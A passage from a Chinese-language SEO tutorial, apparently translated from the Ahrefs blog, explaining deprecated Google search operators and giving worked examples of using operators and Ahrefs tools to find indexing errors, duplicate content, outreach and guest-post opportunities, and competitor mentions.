类似，不过不需要再用引号了（如果你想要连名带姓地搜索指定作者。）\n\n**例子**: allinpostauthor:steve jobs\n\n### inposttitle:\n\n查找标题中含有关键字的博文。不能用了，因为这个操作符只对已废弃的谷歌博客搜索有效。\n\n**例子**: intitle:apple iphone\n\n### link:\n\n查找指向特定域名或 URL 的网页。谷歌在 2017 年废弃了这个操作符，不过这个操作符还是会返回一些结果 —— 只是结果不是特别精确。(**[于 2017 年被废弃](https://searchengineland.com/google-officially-killed-off-link-command-267454)**)\n\n**例子**: [link:apple.com](https://www.google.com/search?q=link%3Aapple.com)\n\n### info:\n\n查阅指定网页的相关信息，包括最近的缓存，类似的网站等（**[于 2017 年被废弃](https://searchengineland.com/google-changes-info-command-search-operator-dropping-useful-links-286422)**）。**注意**：可以用 `id:` 操作符代替，结果一样。\n\n旁注：\n\n尽管这个操作符的原始功能被废弃了，在查找标准的、被索引的 URL 时还是挺有用的。感谢 [@glenngabe](https://twitter.com/glenngabe) 的说明。\n\n**例子**: [info:apple.com](https://www.google.com/search?q=info%3Aapple.com) / [id:apple.com](https://www.google.com/search?q=id%3Aapple.com)\n\n### daterange:\n\n查找指定时间范围内的结果。出于某些原因，需要使用[儒略日格式](http://www.longpelaexpertise.com/toolsJulian.php)。\n\n**例子**: [daterange:11278–13278](https://www.google.com/search?q=steve+jobs+daterange%3A11278-13278)\n\n旁注：\n\n没有被官方废弃，但是好像不能用了。\n\n### phonebook:\n\n查找某人的电话号码。(**[于 2010 年被废弃](https://searchengineland.com/google-drops-phonebook-search-operator-56173)**)\n\n**例子**: [phonebook:tim cook](https://www.google.com/search?q=phonebook%3Atim+cook)\n\n### #\n\n搜索 #话题标签（hashtag）。由 Google+ 引入，现已废弃。\n\n**例子**: [\\#apple](https://www.google.com/search?q=%23apple)\n\n## 谷歌搜索操作符实战十五例\n\n现在来实战一下这些操作符。\n\n我的目的是给你展示用谷歌高级操作符就几乎可以实现任何操作，前提是你知道如何高效地组合使用。\n\n不要担心，放手去尝试，超出下文给出的例子也没有关系。说不定还会有新的收获。\n\n读不下去了？\n\n可以看看 [Sam Oh 的视频](https://www.youtube.com/watch?v=yWLD9139Ipc)，介绍了 9 个可操作的谷歌搜索操作符技巧。\n\n[https://www.youtube.com/watch?v=yWLD9139Ipc](https://www.youtube.com/watch?v=yWLD9139Ipc)\n\n开始吧！\n\n### 1. 查找索引错误\n\n大多数网站都会遇到谷歌索引错误。\n\n有时候是应该被索引的网页没有索引。也有可能不该被索引的网页被索引了。\n\n用 `site:` 操作符看看谷歌索引了多少个 **ahrefs.com** 网页。\n\n![ahrefs site 操作符索引数](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-site-operator-index.jpg)\n\n大约 1,040。\n\n旁注：\n\n用这个操作符谷歌只告诉你[大致的结果](https://searchengineland.com/what-you-can-learn-from-googles-site-operator-14052)。要完整信息，请查阅[谷歌搜索控制台](https://www.google.com/webmasters/tools/home?hl=en)。\n\n那么这些页面中有多少个博文页面呢？\n\n我们查查看。\n\n![ahrefs blog 博文索引](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-blog-posts-index.jpg)\n\n约 249。 差不多是 ¼.\n\n我对 Ahrefs 博客太了解了，所以我知道这个数字比我们的博文数量要多。\n\n进一步调查。\n\n![ahrefs blog 奇怪的索引](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-blog-weird-indexation.jpg)\n\n好吧，看上去有一些奇怪的页面也被索引了。\n\n**(这个页面根本无法访问，就是个 404 页面)**\n\n应该用 [noindex](https://support.google.com/webmasters/answer/93710?hl=en) 把这些页面从搜索结果页中移除。\n\n还可以把结果限制在子域名下，看看结果。\n\n![ahrefs 子域名索引数](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-index-subdomains.jpg)\n\n旁注：\n\n这里用到了通配符（\\*）来查找主域名下的所有子域名，同时使用了排除操作符（\\-）来去除常规的 www 结果。\n\n约 731 个结果。\n\n下面就是在子域名中，但是**绝对**不应该被索引到的例子。它会返回 404 错误。\n\n![ahrefs 索引错误](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-indexation-error.jpg)\n\n还有一些方法用谷歌操作符来发现索引错误。\n\n*   `site:yourblog.com/category` — 查找 WordPress 博客分类页；\n*   `site:yourblog.com inurl:tag` — 查找 WordPress 标签页。\n\n### 2. 查找不安全的页面（没有启用 https）\n\nHTTPs **不可或缺**，尤其对于[商业网站](https://ahrefs.com/blog/ecommerce-seo/)。\n\n不过你知道可以用 `site:` 操作符查找不安全页面吗？\n\n用 **asos.com** 举个例子吧。\n\n![asos unsecure 1](https://ahrefs.com/blog/wp-content/uploads/2018/05/asos-unsecure-1.jpg)\n\n天，大概有 247 万个不安全页面。\n\n看上去 ASOS 还没有启用 SSL —— 对于这么大的网站来说实在不应该。\n\n![asos unsecure](https://ahrefs.com/blog/wp-content/uploads/2018/05/asos-unsecure.jpg)\n\n旁注：\n\nAsos 的用户不要担心，Asos 的结算页面还是安全的。 🙂\n\n不过还有个比较扯淡的事情：\n\nASOS 可以同时用 **https** 和 **http** 访问。\n\n![asos http https](https://ahrefs.com/blog/wp-content/uploads/2018/05/asos-http-https.gif)\n\n所有这些信息都可以通过 `site:` 获取。\n\n旁注：\n\n我发现，有时候用这个技巧找到了没有 https 的页面，如果你点进去，会被重定向到 https 版本。所以不要因为出现在搜索结果中就认为网页不安全。记得点几个搜索结果确认一下。\n\n推荐阅读\n\n*   [We Analyzed the HTTPS Settings of 10,000 Domains and How It Affects Their SEO — Here’s What We Learned](https://ahrefs.com/blog/ssl/)\n*   [HTTP vs. HTTPS for SEO: What You Need to Know to Stay in Google’s Good Graces](https://ahrefs.com/blog/http-vs-https-for-seo/)\n\n### 3. 查找重复的内容\n\n内容重复是件坏事。\n\n这里有一个 [ASOS 上的 A&F 牛仔裤的页面](http://www.asos.com/abercrombie-fitch/abercrombie-fitch-slim-fit-jeans-in-destroyed-black-wash/prd/8459420?clr=black&SearchQuery=&cid=4208&gridcolumn=1&gridrow=1&gridsize=4&pge=1&pgesize=72&totalstyles=1)，带有品牌说明：\n\n![asos abercrombie and fitch](https://ahrefs.com/blog/wp-content/uploads/2018/05/asos-abercrombie-and-fitch.jpg)\n\n像这种第三方品牌说明经常被各种网站复制来复制去。\n\n不过首先，我想知道在 **asos.com** 上这段文字重复了多少次。\n\n![abercrombie and fitch 同域名下的重复](https://ahrefs.com/blog/wp-content/uploads/2018/05/abercrombie-and-fitch-ahrefs-duplicate-same-domain.jpg)\n\n约 4200 次。\n\n现在我想知道这段文字是不是 ASOS 独有的。\n\n看一下结果。\n\n![abercrombie and fitch asos 重复](https://ahrefs.com/blog/wp-content/uploads/2018/05/abercrombie-and-fitch-asos-duplicate.jpg)\n\n并不是。\n\n还有其他 15 个网站用了一摸一样的文字，也就是说重复内容。\n\n有时候相似产品页面也会饱受重复内容问题的困扰。\n\n比如，产品类似或相同，但是数量不同。\n\n下面是 ASOS 的例子：\n\n![asos 袜子数量不同时的重复](https://ahrefs.com/blog/wp-content/uploads/2018/05/asos-socks-quantities-duplicate.gif)\n\n可以看到，除去数量不同外，所有产品页内容都是雷同的。\n\n不过重复内容并不仅仅是电商网站会出现的问题。\n\n如果你经营一个博客，就会有人未经允许抄袭你的内容。\n\n下面来看一下是否有人抄袭了我们的文章，[SEO 技巧清单](https://ahrefs.com/blog/seo-tips/)。\n\n![seo 技巧一文被抄袭的内容](https://ahrefs.com/blog/wp-content/uploads/2018/05/seo-tips-stolen-content.jpg)\n\n约 17 个结果。\n\n旁注：\n\n注意到我用排除操作符去除了来自 **ahrefs.com** 的结果，保证原创内容不会出现在搜索结果中。我同样排除了关键字 pinterest。因为我看到结果中有太多 Pinterest 结果，实际上和我们的目的无关。我本可以直接排除 pinterest.com (-pinterest.com)，不过 Pinterest 有太多 ccTLDs（国家顶级域名），这个操作符就无效了。所以排除关键字 pinterest 就是最好的清理方法。\n\n大部分都**可能是**内容聚合站。\n\n不过仍然有必要检查一番确保使用了你的内容的人添加了原文链接。\n\n轻松查找被剽窃的内容\n\n**[Content Explorer](https://ahrefs.com/content-explorer) \\> In title > 输入网页或博文标题 > 排除自己的网站**\n\n![content explorer 聚合搜索](https://ahrefs.com/blog/wp-content/uploads/2018/05/content-explorer-syndication-search.jpg)\n\n你就会看到和你的网页/博文标题一摸一样的网页（来自我们数据库中超过 9 亿个网页内容）。\n\n这个例子有 5 个结果。\n\n![content explorer 给出 5 个结果](https://ahrefs.com/blog/wp-content/uploads/2018/05/5-results-content-explorer.jpg)\n\n然后在 “Highlight unlinked domains”（高亮没有原文链接的域名） 输入你的域名。\n\n这个操作会高亮出没有回链你的网站。\n\n![高亮没有原文链接的域名](https://ahrefs.com/blog/wp-content/uploads/2018/05/highlight-unlinked-domains.gif)\n\n然后你就可以联系这些网站，要求他们加上你的原文链接了。\n\n补充一点，这个过滤器实际上在域名层面上查找链接，而不是在页面层面。也就是说，这些网站有可能已经在其他页面中加上了原始链接。\n\n### 4. 查找域名下的奇怪文件（你自己可能都忘了）\n\n想要跟踪网站的一切相当困难。\n\n**（对大网站尤其如此）**\n\n所以很容易忘了你上传过的旧文件。\n\nPDF 文件；Word 文档；PPT 演示文稿；文本文件；等等等等。\n\n我们用 `filetype:` 操作符在 **ahrefs.com** 上试试看。\n\n![filetype 操作符 pdf](https://ahrefs.com/blog/wp-content/uploads/2018/05/filetype-operator-pdf.jpg)\n\n旁注：\n\n记住，还可以用 `ext:` 操作符，结果是一样的。\n\n下面是其中的一个文件：\n\n![ahrefs 索引中的 pdf 文件](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-pdf-file-in-index.jpg)\n\n我从来没见过这个东西。你见过吗？\n\n不过我们还能更进一步，不仅仅是 PDF 文件。\n\n通过组合几个操作符，可以一次性得到所有支持的文件类型的结果。\n\n![filetype 操作符检索所有文件类型](https://ahrefs.com/blog/wp-content/uploads/2018/05/filetype-operator-all-types.jpg)\n\n旁注：\n\nfiletype 操作符还支持 **.asp， .php， .html** 等格式。\n\n如果你不想让其他人看到这些文件，删除或不索引（noindex）它们。\n\n### 5. 寻找投稿的机会\n\n有太多方法可以找到当合作作者的机会，比如：\n\n![寻找合作作者的操作符](https://ahrefs.com/blog/wp-content/uploads/2018/05/guest-post-operator-write-for-us.jpg)\n\n不过这个方法你已经知道了，对吧？😉\n\n旁注：\n\n对于不太清楚的读者这里再赘述一下，这个方法可以找出所谓的“为我们写作”页面，很多人在积极寻找合作作者的时候会创建这种页面。\n\n还可以更有创造力一点。\n\n首先：不要只使用 “为我们写作”\n\n还可以用：\n\n*   `“become a contributor\"` （成为贡献者）\n*   `“contribute to”` （为之贡献）\n*   `“write for me”` （为我写作）（是的，一些个人博客主也在找合作作者）\n*   `“guest post guidelines”` （投稿指南）\n*   `inurl:guest-post`\n*   `inurl:guest-contributor-guidelines`\n*   等等\n\n这里还有一个大多数人都会忽略的小技巧：\n\n你可以一次性搜索所有这些内容。\n\n![寻找合作作者的多关键字操作符](https://ahrefs.com/blog/wp-content/uploads/2018/05/guest-post-multi-search-operator.jpg)\n\n旁注：\n\n是否注意到我用了管道操作符（`|`）而不是 OR？记住，这俩其实是一个东西。🙂\n\n你甚至可以同时搜索多个线索和多个关键字。\n\n![寻找合作作者的多线索和多关键字操作符](https://ahrefs.com/blog/wp-content/uploads/2018/05/guestpost-operator-multiple-footprints-and-keywords.jpg)\n\n想寻找指定国家的写作机会？\n\n只需加上 `site:.tld` 操作符\n\n![寻找合作作者的国别域名操作符](https://ahrefs.com/blog/wp-content/uploads/2018/05/guest-post-operators-cctld.jpg)\n\n还有一个思路：\n\n如果你知道系列文章的博主的话，试试这个：\n\n![ryan stewart intext inurl author](https://ahrefs.com/blog/wp-content/uploads/2018/05/ryan-stewart-intext-inurl-author.jpg)\n\n会找到这个人发表作品的所有网站。\n\n旁注：\n\n不要忘了排除作者自己的网站，让结果更清楚！\n\n如何找到更多合作作者的博文\n\n**[Content Explorer](https://ahrefs.com/content-explorer) \\> 搜索作者 \\> 排除作者自己的网站**\n\n以我们网站的 [Tim Soulo](https://ahrefs.com/tim) 为例。\n\n![用 content explorer 搜索作者](https://ahrefs.com/blog/wp-content/uploads/2018/05/guest-post-author-content-explorer.jpg)\n\n厉害吧。17 个结果。这些都可能是投稿文章。\n\n下面是我输入 Content Explorer 的搜索操作符，供你参考。\n\n`author:”tim soulo” -site:ahrefs.com -site:bloggerjet.com`\n\n基本上就是搜索了 Tim Soulo 的博文。但是同时排除了 ahrefs.com 和 bloggerjet.com（Tim 自己的博客）的结果。\n\n**注意**：有时候会得到错误结果。这取决于你搜索的人名有多常见。\n\n不要止步于此：\n\n你还可以用 Content Explorer 发现你所在领域中还没有链接过你的网站。\n\n**Content Explorer \\> 选择主题 \\> 每个域名一个文章 \\> 高亮未链接过你的域名**\n\n下面就是一个还没有链接到 ahrefs.com 的域名。\n\n![未链接过的域名](https://ahrefs.com/blog/wp-content/uploads/2018/05/unlinked-domains.png)\n\n也就是说 **marketingprofs.com** 还没有链接过我们。\n\n尽管这个搜索不能告诉我们搜索结果中是否有“为我们写作”页面。不过也没有关系。事实是，大多数网站都乐于接受文章投稿，只要你拿得出高质量的内容。所以完全有必要主动伸手联系这些网站。\n\n另外一个使用 [Content Explorer](https://ahrefs.com/content-explorer) 的好处是，你可以看到每个网页的统计数据，包括：\n\n*   \\# of RDs（提及的域名数量）;\n*   DR（域名排名）;\n*   流量统计；\n*   社交媒体分享数；\n*   等等。\n\n导出这些数据同样很简单。🙂\n\n最后，如果你想知道指定网站是否接受文章投稿，试试这个：\n\n![特定网站是否接受投稿](https://ahrefs.com/blog/wp-content/uploads/2018/05/specific-site-guest-contribution.jpg)\n\n旁注：\n\n你应该尝试更多的搜索关键字——比如，‘这是篇不错的投稿文章’——到括号中。我只写了两个是为了演示时比较简洁。\n\n### 6. 查找加入资源页的机会\n\n“资源页”汇总了特定主题下的最好资源。\n\n下面是一个所谓的“资源页”的样子：\n\n![](https://ahrefs.com/blog/wp-content/uploads/2018/05/broken-link-building.gif)\n\n你看到的所有链接都是指向其他站点的资源。\n\n**（考虑到这个页面的主题（如何修复失效的链接），讽刺的是，它的大部分链接都失效了）**\n\n推荐阅读\n\n*   [A Simple (But Complete) Guide to Broken Link Building](https://ahrefs.com/blog/broken-link-building/)\n*   [How to Find and Fix Broken Links (to Reclaim Valuable “Link Juice”)](https://ahrefs.com/blog/fix-broken-links/)\n\n如果你的网站上有很棒的资源，你可以：\n\n1.  寻找有关的资源页\n2.  请求加入你的资源\n\n下面是找到资源页的一个方法：\n\n![fitness 资源页操作符](https://ahrefs.com/blog/wp-content/uploads/2018/05/fitness-resources-operator.jpg)\n\n不过结果可能大都是垃圾信息。\n\n有一个很棒的方法可以缩小范围：\n\n![fitness resources url title operator](https://ahrefs.com/blog/wp-content/uploads/2018/05/fitness-resources-url-title-operator.jpg)\n\n还可以更进一步缩小范围：\n\n![intitle fitness numbers resources operator](https://ahrefs.com/blog/wp-content/uploads/2018/05/intitle-fitness-numbers-resources-operator.jpg)\n\n旁注：\n\n用 `allintitle:` 保证标题同时含有 fitness 和 resources，而且有 5 到 15 的数字。\n\n\\#..\\# 操作符的说明\n\n我知道你在想什么：\n\n为什么不用 `#..#` 操作符，非得用一连串的数字呢？\n\n好问题！\n\n我们来试一下：\n\n![fail operator](https://ahrefs.com/blog/wp-content/uploads/2018/05/fail-operator.gif)\n\n有点乱？问题出在这里：\n\n这个操作符和其他大部分操作符都无法组合工作。\n\n单独使用时都不一定总是有效 —— 它完全就是时好时坏。\n\n所以我建议使用一连串用 OR 或管道操作符（`|`）隔开的数字。\n\n有点啰嗦，不过有效。\n\n### 7. 查找主打信息图的网站…… 这样就可以推销自己的\n\n信息图的名声不太好。\n\n很大可能是不少人只做了不少质量差的廉价信息图，根本没有什么用处，只是为了“吸引链接”。\n\n但是信息图不总是坏的。\n\n下面是信息图的通用策略：\n\n1.  创作信息图\n2.  **推销信息图**\n3.  被推荐，被链接 (而且被 PR!)\n\n但是要向谁推销信息图呢？\n\n只是你熟悉的领域内的旧网站吗？\n\n**不。**\n\n你需要向那些**实际上**很可能以你的信息图为卖点的网站推销。\n\n最好的办法是寻找曾经以信息图为卖点的网站。\n\n方法如下：\n\n![fitness infographic operator](https://ahrefs.com/blog/wp-content/uploads/2018/05/fitness-infographic-operator.jpg)\n\n旁注：\n\n在搜索中加上最近的时间范围也挺好的，比如最近 3 个月。如果一个网站两年前曾主推信息图，不代表它现在仍然重视信息图。然而如果一个网站最近几个月就在力推信息图的话，他们很可能仍然以此为卖点。不过由于 daterange 操作符已经无效了，你必须使用谷歌搜索内置的过滤器。\n\n不过还是要强调，这个方法可以去除很多垃圾站。\n\n简单总结一下：\n\n1.  用上面的搜索来查找制作精良且相关的信息图（比如设计良好的等等）\n2.  查找特定的信息图\n\n举个例子：\n\n![reddit guide to fitness infographic](https://ahrefs.com/blog/wp-content/uploads/2018/05/reddit-guide-to-fitness-infographic.jpg)\n\n会找到最近 3 个月的大概 2 个结果。所有时间的话则有 450 多个结果。\n\n对几个信息图如此搜索一番，就会找到几个不错的潜在目标。\n\n谷歌给的结果不太好？试试这个。\n\n你有没有发现网站如果有信息图的话，站长一般会在标题中加入括号括起来的 infographic？\n\n**比如：**\n\n![infographic title tag](https://ahrefs.com/blog/wp-content/uploads/2018/05/infographic-title-tag.jpg)\n\n不过谷歌搜索会忽略方括号（即使用引号都不行）。\n\n但是 Content Explorer 不会忽略。\n\n**[Content Explorer](https://ahrefs.com/content-explorer) \\> search query \\> “AND [infographic]”**\n\n![content explorer infographic](https://ahrefs.com/blog/wp-content/uploads/2018/05/content-explorer-infographic.jpg)\n\n可以看到，你可以在 CE 中使用高级搜索操作符来一次性搜索多个词。上面的搜索会找到标题中含有 SEO，keyword search，link building 或者 “[infographic]” 的结果。\n\n同样，结果可以导出（附带相关信息）。\n\n推荐阅读\n\n*   [The Visual Format You Should be Using for Link Building (No, It’s NOT Infographics)](https://ahrefs.com/blog/visual-link-building/)\n*   [6 Linkable Asset Types (And EXACTLY How to Earn Links With Them)](https://ahrefs.com/blog/linkable-assets/)\n*   [Deconstructing Linkbait: How to Create Content That Attracts Backlinks](https://ahrefs.com/blog/link-bait/)\n\n### 8. 寻求更多链接机会…… 并检查他们的相关性**到底**如何\n\n假设你找到了一个网站，希望可以链接到你。\n\n已经手动检查了相关性，而且结果不错。\n\n下面是查找类似的网站或网页的方法：\n\n![谷歌搜索操作符 related](https://ahrefs.com/blog/wp-content/uploads/2018/05/related-google-search-operator.jpg)\n\n大概有 49 个结果，都是类似的网站。\n\n旁注：\n\n在上例中，我们找的是和 Ahrefs 博客相似的网站，不是和 Ahrefs 整体相似的网站。\n\n想要对特定网页也做类似的操作？没问题\n\n以我们的[链接构建指南](https://ahrefs.com/blog/link-building/)为例。\n\n![related link building 谷歌操作符](https://ahrefs.com/blog/wp-content/uploads/2018/05/related-link-building-google-operator.gif)\n\n大概有 45 个结果，大部分都**非常**相似。🙂\n\n这里是其中一个结果：**‌yoast.com/seo-blog**\n\n我和 Yoast 相当熟，所以我知道这是个高度相关的网站。\n\n但是如果我对这个站一点都不了解，要如何检查呢？\n\n方法如下：\n\n1.  搜索 `site:domain.com`，记下结果数量\n2.  搜索 `site:domain.com [领域]`，记下结果数量\n3.  第二个数除以第一个数，如果大于 0.5，结果不错，比较相关；如果大于 0.75 就说明非常相关。\n\n用 **yoast.com** 试试。\n\n下面是 `site:` 搜索的结果数量：\n\n![yoast simple site search](https://ahrefs.com/blog/wp-content/uploads/2018/05/yoast-simple-site-search.jpg)\n\n`site: [领域]` 的结果数量：\n\n![yoast site niche search](https://ahrefs.com/blog/wp-content/uploads/2018/05/yoast-site-niche-search.jpg)\n\n结果是 **3,950 / 3,330 = ~0.84**。\n\n\n**（记住，大于 0.75 通常意味着高度相关）**\n\n再用一个我知道不怎么相关的网站，**‌greatist.com**，试一下。\n\n**`site:greatist.com` 的结果数量：约 18,000。**\n\n**`site:greatist.com SEO` 的结果数量：约 7 个。**\n\n**(18,000 / 7 = ~0.0004 = 完全无关的网站)**\n\n**重要提示！**这是个快速评估相关性的好方法，但是不是绝对可靠 —— 有时候会得到奇怪或者完全没有用的结果。我还想强调，没有哪种方法可以完全取代手工检查网站。你总是应该先全面检查网站再和他们取得联系。如果做不到就意味着制造[垃圾邮件](https://ahrefs.com/blog/outreach/)。\n\n还有一个方法查找相似域名…\n\n**[Site Explorer](https://ahrefs.com/site-explorer) \\> relevant domain \\> Competing Domains**\n\n比如，假设我在找更多和 SEO 相关的链接。\n\n在 Site Explorer 中输入**‌ahrefs.com/blog**\n\n然后勾选 Competing Domains\n\n![competing domains](https://ahrefs.com/blog/wp-content/uploads/2018/05/competing-domains.jpg)\n\n这样就可以找到竞争同一关键字的域名。\n\n### 9. 寻找潜在客户的社交媒体账号\n\n心里已经有了要联系的人选？\n\n试试这个技巧来找到联系信息：\n\n![tim soulo google search social profiles](https://ahrefs.com/blog/wp-content/uploads/2018/05/tim-soulo-google-search-social-profiles.jpg)\n\n旁注：\n\n你需要知道他们的名字。通常在大多数网站上都不难找 —— 只是联系信息可能不太好找。\n\n下面是前 4 个结果：\n\n![tim soulo social profiles](https://ahrefs.com/blog/wp-content/uploads/2018/05/tim-soulo-social-profiles.jpg)\n\n不错。\n\n现在可以在社交媒体上直接联系他们了。\n\n或者用[这篇文章](https://ahrefs.com/blog/find-email-address/)中的第 4 条和第 6 条方法来找到他们的电子邮件地址。\n\n推荐阅读\n\n*   [9 Actionable Ways To Find Anyone’s Email Address [Updated for 2018]](https://ahrefs.com/blog/find-email-address/)\n*   [11 Ways to Find ANY Personal Email Address](https://www.youtube.com/watch?v=TZFMRl3Yqwc)\n\n### 10. 寻找内链机会\n\n内链很重要。\n\n可以帮助访问者熟悉你的网站。\n\n还对 SEO 颇有帮助（如果[使用得当](https://ahrefs.com/blog/technical-seo/)的话）。\n\n不过你要确保只有在内容相关时才添加内链。\n\n比如说你刚发表了一个关于 [SEO 技巧](https://ahrefs.com/blog/seo-tips/)的清单。\n\n如果能在其他谈到了 SEO 技巧的博文中插入内链岂不妙哉？\n\n**当然。**\n\n只是要找到相关的地点来加入内链有时比较困难 —— 尤其是对于大网站来说。\n\n不妨试试这个技巧：\n\n![seo tips internal links](https://ahrefs.com/blog/wp-content/uploads/2018/05/seo-tips-internal-links.jpg)\n\n如果你还不太清楚这些搜索操作符的作用，解释如下：\n\n1.  将搜索结果限制在指定网站内；\n2.  排除你想加入内链的网页/博文本身；\n3.  在内容中查找关键字或词组。\n\n下面就是我找到的一个结果：\n\n![seo tips internal link](https://ahrefs.com/blog/wp-content/uploads/2018/05/seo-tips-internal-link.jpg)\n\n只花了 3 秒钟就找到了。🙂\n\n### 11. 通过搜索提及竞争对手的内容发现公关（PR）机会\n\n下面这个页面提及了我们的一个竞争对手 —— Moz。\n\n![how to use moz](https://ahrefs.com/blog/wp-content/uploads/2018/05/how-to-use-moz.jpg)\n\n通过高级搜索可以找到：\n\n![competitor search](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-search.jpg)\n\n但是为什么没有提 Ahrefs？🙁\n\n用 `site:` 和 `intext:`，可以发现这个网站曾经提过几次我们网站。\n\n![ahrefs mentions](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-mentions.gif)\n\n但是他们没有写任何关于我们的工具集的文章，他们却写了 Moz 的。\n\n这就是个机会。\n\n主动联系，建立关系，**也许**他们会写一写 Ahrefs。\n\n还有一个不错的搜索技巧可以寻找竞争对手的评论：\n\n![allintitle review search google](https://ahrefs.com/blog/wp-content/uploads/2018/05/allintitle-review-search-google.jpg)\n\n旁注：\n\n因为用到了 `allintitle` 而不是 `intitle`，只会返回标题中同时有 “review“ 和竞争对手名字的结果。\n\n你可以和这些人发展关系让他们也评价一下你们的产品/服务。\n\n用 Content Explorer 更进一步\n\n你还可以用 CE 的 “In title” 搜索来寻找对竞争对手的评论\n\n我用 Ahrefs 试了试，有 795 个结果。\n\n![competitor review](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-review.png)\n\n具体来说，我用了这个搜索：\n\n`review AND (moz OR semrush OR majestic) -site:moz.com -site:semrush.com -site:majestic.com`\n\n不过你还可以通过高亮没有链接到的推荐进一步调查。\n\n这会高亮出从来没有链接过你的网站，所以你可以考虑优先联系他们。\n\n下面就是一个从来没有链接过 Ahrefs 的网站，他们却评论过我们的竞争对手：\n\n![hobo web no link](https://ahrefs.com/blog/wp-content/uploads/2018/05/hobo-web-no-link.png)\n\n可以看到这是个域名排名（DR）79 的网站，所以如果能被他们评论再好不过了。\n\n还有一个不错的技巧：\n\n谷歌的 `daterange:` 操作符被废弃了。但是你仍然通过添加时间过滤器来寻找最近对竞争对手的评论。\n\n直接用内置的过滤器就行。\n\n**Tools \\> Any time \\> select time period**\n\n![daterange filter competitor mention](https://ahrefs.com/blog/wp-content/uploads/2018/05/daterange-filter-competitor-mention.gif)\n\n看上去上个月有大概 34 个关于我们竞争对手的评论。\n\n想实时获得竞争对手评论的提醒吗？可以这样做。\n\n**[Alerts](https://ahrefs.com/alerts) \\> Mentions \\> Add alert**\n\n输入竞争对手的名字…… 或者随便什么想检索的东西。\n\n选择模式（标题中或者任意地方），添加要排除的域名，输入收件人。\n\n![ahrefs alerts mention](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-alerts-mention.jpg)\n\n将时间间隔设置为实时（或者你喜欢的时间间隔）。\n\n点击“保存”。\n\n现在只要有关于你的竞争对手的评论出现，你就会受到邮件通知。\n\n### 12. 寻找赞助文章机会\n\n赞助贴是宣传你的品牌，产品或服务的收费文章。\n\n并不是构建链接的机会。\n\n[谷歌指导手册](https://support.google.com/webmasters/answer/66356?hl=en)说过：\n\n> **买卖已通过 PageRank 的链接。包括购买链接或含有链接的文章；用商品或服务换链接；或给某人寄送免费产品以求评论并带上链接**\n\n这就是为什么你永远要停止关注（nofollow）赞助文章中的链接。\n\n但是赞助文章的真正价值从来都和链接无关。\n\n它会影响 PR，也就是让你的品牌出现在对的人面前。\n\n下面是用谷歌搜索操作符寻找赞助文章机会的方法：\n\n![sponsored post results](https://ahrefs.com/blog/wp-content/uploads/2018/05/sponsored-post-results.jpg)\n\n大概 151 个结果。还不错。\n\n还有一些组合操作符可用：\n\n*   `[niche] intext:”this is a sponsored post by”`\n*   `[niche] intext:”this post was sponsored by”`\n*   `[niche] intitle:”sponsored post”`\n*   `[niche] intitle:”sponsored post archives” inurl:”category/sponsored-post”`\n*   `“sponsored” AROUND(3) “post”`\n\n旁注：\n\n上面的例子就只是**例子**。当然还有其他线索来寻找这类帖子。你还可以试试其他点子。\n\n想知道这些网站的流量如何？这样做。\n\n用这个 [Chrome 书签小工具](https://www.chrisains.com/seo-tools/extract-urls-from-web-serps/)来提取谷歌搜索结果。\n\n**[Batch Analysis](https://ahrefs.com/batch-analysis) \\> 粘贴 URLs \\> 选择 “domain/\\*” 模式 \\> 按搜索流量排序**\n\n![batch analysis organic search traffic](https://ahrefs.com/blog/wp-content/uploads/2018/05/batch-analysis-organic-search-traffic.png)\n\n现在你得到了流量最大的网站的清单，通常就意味着最好的机会。\n\n### 13. 查找和你的内容相关的问答帖\n\n论坛和问答网站非常有助于宣传你的内容。\n\n旁注：\n\n宣传不等于制造垃圾邮件。不要只为了加入你的链接就参与垃圾站点。提供有价值的内容，同时，偶尔在回答中放一些自己的链接。\n\n可以想到的一个网站就是 Quora。\n\n你可以在 Quora 的回答中放链接。\n\n![quora answer](https://ahrefs.com/blog/wp-content/uploads/2018/05/quora-answer.jpg)\n\n一个带有 SEO 博客链接的 Quora 答案。\n\n当然这些链接是被设置为 nofollow 的。\n\n不过我们又不是要在这里创建链接 —— 纯粹是为了 PR！\n\n还有一个找到相关帖子的方法：\n\n![寻找 Quora 问答贴的谷歌操作符](https://ahrefs.com/blog/wp-content/uploads/2018/05/find-quora-threads-google-operator.jpg)\n\n不过不要只用 Quora。\n\n任何论坛或问答站点都可以。\n\n对于 Warrior 论坛可以用类似的搜索：\n\n![warrior 论坛帖子搜索](https://ahrefs.com/blog/wp-content/uploads/2018/05/warrior-forum-thread-search.jpg)\n\n我还知道 Warrior 论坛有搜索引擎优化版块。\n\n该版块的每个帖子的 URL 中都有 “.com/search‐engine‐optimization/”。\n\n所以我可以用 `inurl:` 操作符进一步优化搜索结果。\n\n![warrior 论坛 inurl 搜索](https://ahrefs.com/blog/wp-content/uploads/2018/05/warrior-forum-inurl-search.jpg)\n\n我发现用这种搜索操作符得到的论坛帖子搜索结果比大多数站内搜索的粒度都要细致。\n\n还有一个好点子……\n\n**[Site Explorer](https://ahrefs.com/site-explorer) \\> quora.com \\> Organic Keywords \\> 搜索相关关键词**\n\n现在你可以看到按月流量排序的相关 Quora 帖子。\n\n![Screen Shot 2018 05 07 at 19 39 26](https://ahrefs.com/blog/wp-content/uploads/2018/05/Screen_Shot_2018-05-07_at_19_39_26.png)\n\n回答这些帖子会带来不错的推荐流量（referral traffic）。\n\n### 14. 查找竞争对手更新内容的频率\n\n大多数博客都位于子目录或者子域名中。\n\n**例子:**\n\n*   [ahrefs.com/blog](https://ahrefs.com/blog/)\n*   blog.hubspot.com\n*   blog.kissmetrics.com\n\n鉴于此很容易得到竞争对手更新内容的频率。\n\n以我们的竞争对手 SEMrush 为例。\n\n![competitor blog search](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-blog-search.png)\n\n看上去他们大概有 4500 篇博文。\n\n不过这并不准确。因为包含了同一博客的多语言版本，同样位于子域名内。\n\n![competitor blog 